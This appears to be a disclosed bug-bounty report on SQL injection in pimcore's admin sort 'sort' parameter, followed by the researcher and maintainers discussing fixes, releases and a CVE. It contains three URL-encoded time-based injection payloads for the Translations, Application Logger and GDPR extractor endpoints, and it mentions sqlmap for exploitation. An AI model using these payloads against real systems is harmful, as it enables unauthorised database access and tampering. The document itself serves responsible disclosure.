SQL injection in some Admin Sort functions in pimcore/pimcore

Valid

Reported on

May 26th 2023


Description

SQL injection due to unsanitized concatenating strings into ORDER BY clause, 'sort' parameter

Proof of Concept

Log in as an admin, go to Admin Translations or Application Logger functions, and perform a sort action

Observer the request on Burpsuite and injection point is the 'sort' parameter

POC request that makes the application sleep for 5 seconds (Translations function) payload: %5b%7b%22property%22%3a%22key%3b%20select%20sleep(5)--%20-%22%2c%22direction%22%3a%22ASC%22%7d%5d

image

POC request that makes the application sleep for 10 seconds (Application Logger function) payload: %5b%7b%22property%22%3a%22timestamp%3b%20select%20sleep(5)--%20-%22%2c%22direction%22%3a%22DESC%22%7d%5d

image

POC request that makes the application sleep for 5 seconds (GPDR Data Extractor function) payload: %5b%7b%22property%22%3a%22id%3b%20select%20sleep(5)--%20-%22%2c%22direction%22%3a%22ASC%22%7d%5d

image

Impact

Using some SQL exploitation tools such as sqlmap, an attacker can enumerate all information in the database, alter data or perform dos on the backend database.

Occurrences

We are processing your report and will contact the pimcore team within 24 hours. 4 months ago
hiu240900 modified the report
4 months ago
hiu240900 modified the report
4 months ago
hiu240900 modified the report
4 months ago
We have contacted a member of the pimcore team and are waiting to hear back 4 months ago
hiu240900 modified the report
4 months ago
hiu240900 modified the report
4 months ago
pimcore/pimcore maintainer has acknowledged this report 4 months ago
hiu240900
3 months ago

Researcher


Hello @maintainer,

Any update yet ?

JiaJia Ji
2 months ago

Maintainer


Thank you @hiu240900! We made some improvment on the reported places by https://github.com/pimcore/pimcore/pull/15303 and released in 10.5.24

Can you please verify again so that we can validate it?

hiu240900
2 months ago

Researcher


The fix looks good for the first 3 functions, not the last one, I still can execute the payload.

hiu240900
2 months ago

Researcher


The code base is too big so I can't see where exactly the vulnerable code, but here is the function that is still vulnerable: https://github-production-user-asset-6210df.s3.amazonaws.com/67749472/252705920-3d29806a-8601-4eef-bd79-5cd961fceca3.png

JiaJia Ji
2 months ago

Maintainer


Thank you very much! I have provided the fix on https://github.com/pimcore/pimcore/pull/15523, can you please apply these changes and check again?

hiu240900
2 months ago

Researcher


Since I no longer can access my self-hosted site so could you apply these changes to your free demo https://demo.pimcore.com so I can verify it quickly?

JiaJia Ji
2 months ago

Maintainer


Ah no problem then, we will review internally, already left some instruction to the team on how to simulate that. Unfortunately, at the moment, we have to first merge the change and release to have it on the public demo.

JiaJia Ji
2 months ago

Maintainer


Could you please change this report to Affected Version to 10.5.23 , and remove the 4th point (Data Objects function)? I will mark this solved with this https://github.com/pimcore/pimcore/commit/a06ce0abdba19ae0eefc38b035e677f8f0c2bce9 commit

Then create a new ticket with the description of the 4th point (grid-proxy) with affected version set to 10.6.3?

Thank you in advance!

hiu240900 modified the report
2 months ago
hiu240900
2 months ago

Researcher


As your request, I will create a new ticket after this report is marked as resolved.

Divesh Pahuja validated this vulnerability 2 months ago
hiu240900 has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Divesh Pahuja marked this as fixed in 10.5.24 with commit a06ce0 2 months ago
The fix bounty has been dropped
This vulnerability has been assigned a CVE
Divesh Pahuja published this vulnerability 2 months ago
Dao.php#L108 has been validated
to join this conversation